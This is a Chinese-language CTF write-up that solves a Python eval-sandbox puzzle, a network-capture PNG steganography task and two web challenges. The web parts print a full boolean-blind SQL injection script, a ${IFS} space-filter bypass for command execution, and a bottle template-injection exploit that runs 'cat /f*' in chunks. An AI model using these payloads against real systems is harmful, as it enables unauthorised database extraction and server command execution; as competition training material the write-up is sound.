仍然是没有web没有pwn,全靠其他方向硬抗((

Writeup

Additional Statement:

Cooperated with w8nn9z, 1n1t, Hibiscus.

复现部分

Misc

sins

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from secret import flag

print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')


def i_pow(n):
if n % 4 == 0: # as the 40 days of flood
return '1'
elif n % 4 == 1: # as the 1 true God
return 'i'
elif n % 4 == 2: # as the 2 tablets of stone
return '-1'
elif n % 4 == 3: # as the 3 days in the tomb
return '-i'

inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"
R = eval(f"lambda i: {inp}", {}, {})
assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))
print(flag)

这里对我们输入的要求是:

1.lambda定义的函数要相当于i_pow函数

2.输入的字符必须在i0123456789+-*%/^=<>~&|:()[]’之中

3.输入的长度必须不能长于16

问ai以后可以知道这边可以使用字符串的切片,后续再修改一下,可以得到如下包含对输入进行模运算且步长为2的切片方法:

‘1i–’[i&3::-2]

长度是15,刚好够得到flag

喜欢就说出来

翻看流量,能找到传输了一张png

img

提取出来,发现这个png不大正常,有两个IHDR头

img

发现主要有两种长度的IDAT数据块,将其分类得到两张图片,然后再稍稍调整一下IDAT块的顺序让两张图片都显示完全

img

在其中一张图片中就有半个flag

img

接下来就是脑洞时间,这道题的题目描述是这样的

1
小Shark在上课时和自己的暗恋对象坐在了一起,小Shark想要把悄悄话和文件传给同桌,可惜小Shark没有移动硬盘,不过这难不住聪明的小Shark,小Shark在同桌的电脑上敲了几下键盘,用自己的浏览器给同桌试传了两张自己的照片和一句悄悄话,你能发现小Shark对同桌说了什么吗?会不会是......520?!呢? 

所以类似lsb的操作,提取R=5, G=2, B=0这样三个通道的数据得到后半个flag

img

Web

ezsql

先用万能密码就能进入到第二个页面,发现需要管理员密码

image-20250409164415401

image-20250409164433854

仍然去第一个页面进行布尔盲注,注出第二个页面的密码。其中发现username处有过滤,password没有,因此注password:)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = ""
flag = ''

exp = ""
#database()
#SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()
#SELECT secret FROM double_check
wrong_code = '帐号或密码错误'

for num in range(1, 1000):
min_num = 32
max_num = 128
mid_num = (min_num + max_num) // 2
while min_num < max_num:
payload = "or(ascii(substr(" + '(' + exp + ')' + ",{},1))>{})#".format(num, mid_num)
data = {
"username": "admin'",
"password": payload
}
try:
result = requests.post(url, data=data)
if wrong_code in result.text:
max_num = mid_num
else:
min_num = mid_num + 1
except requests.RequestException as e:
print(f"请求发生错误: {e}")
break
mid_num = (min_num + max_num) // 2
if mid_num <= 32 or mid_num >= 127:
break
flag += chr(mid_num)
print(flag)

image-20250409205441709

image-20250409211907225

后面可以猜测字段名就是第二个页面要传的参数名secret

image-20250409214302645

进入后续页面发现过滤了空格,这里用${IFS}绕过即可。

把命令执行的结果重定向到文件中即可

image-20250409215112532 image-20250409215132186 image-20250409215201850

image-20250409215247739

出题人已疯

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

此处是一个bottle的模板注入,但是限制了payload的长度要小于25。实际上只要把它拆成很多小段塞到一个值里面去,然后一下子执行就好了。

官方给出的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = ''


payload = "__import__('os').system('cat /f*>123')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

image-20250409201805824